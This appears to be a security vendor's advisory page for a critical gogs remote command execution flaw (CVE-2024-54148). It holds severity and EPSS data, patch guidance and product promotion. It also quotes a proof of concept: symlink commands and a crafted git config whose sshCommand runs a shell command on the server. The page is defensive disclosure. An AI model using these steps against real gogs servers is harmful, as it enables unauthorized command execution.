How severe is GHSA-r7j8-5h9c-f6fx?

GHSA-r7j8-5h9c-f6fx has a CVSS score of 9.8/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by GHSA-r7j8-5h9c-f6fx?

GHSA-r7j8-5h9c-f6fx affects the following packages: gogs.io/gogs (Go). Ecosystems affected: Go.

How do I fix GHSA-r7j8-5h9c-f6fx?

Update gogs.io/gogs to 0.13.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r7j8-5h9c-f6fx is resolved across your whole dependency graph.

How do I detect GHSA-r7j8-5h9c-f6fx in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-r7j8-5h9c-f6fx if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-r7j8-5h9c-f6fx?

O3 pinpoints whether GHSA-r7j8-5h9c-f6fx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-r7j8-5h9c-f6fx actively exploited in the wild?

No public exploit code has been indexed for GHSA-r7j8-5h9c-f6fx yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-r7j8-5h9c-f6fx?

GHSA-r7j8-5h9c-f6fx has an EPSS (Exploit Prediction Scoring System) score of 0.8%, placing it in the 53th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-r7j8-5h9c-f6fx?

GHSA-r7j8-5h9c-f6fx is classified as Path Traversal (CWE-22), CWE-61 (CWE-61). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-r7j8-5h9c-f6fx published, and has it been updated?

GHSA-r7j8-5h9c-f6fx was published on December 23, 2024 and was last updated on April 10, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-r7j8-5h9c-f6fx

CRITICAL

Remote Command Execution in file editing in gogs

Also known asCVE-2024-54148GO-2024-3355

Published

Dec 23, 2024

Updated

Apr 10, 2025

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.8%probability of exploitation in next 30 days

Lower Risk53th percentile-0.13%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐹gogs.io/gogs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server.

Patches

Editing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.

In the second repository, create a symbolic link to the file you need to edit:

$ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test
$ ls -la
total 8
drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .
drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..
drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git
-rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md
lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config
$ git add .
$ git commit -m 'ddd'
$ git push -f

Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)

[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = echo pwnned > /tmp/poc
[remote "origin"]
url = [[email protected]](mailto:[email protected]):torvalds/linux.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master

Go back to the first repo, edit something, and commit again, you can notice a file called /tmp/poc created on the server.

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`gogs.io/gogs`	all versions	0.13.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update gogs.io/gogs to 0.13.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r7j8-5h9c-f6fx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r7j8-5h9c-f6fx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-r7j8-5h9c-f6fx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. ### Patches Editing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References n/a ### Proof of Concept 1. Create two repositories, upload something to the first repository, edit any f

O3 Security · Impact-Aware SCA

Is GHSA-r7j8-5h9c-f6fx in your dependencies?

O3 detects GHSA-r7j8-5h9c-f6fx across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works

GHSA-r7j8-5h9c-f6fx

EPSS Exploitation Probability

Blast Radius

Description

Impact

Patches

Workarounds

References

Proof of Concept

For more information

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

Frequently Asked Questions

Is GHSA-r7j8-5h9c-f6fx in your dependencies?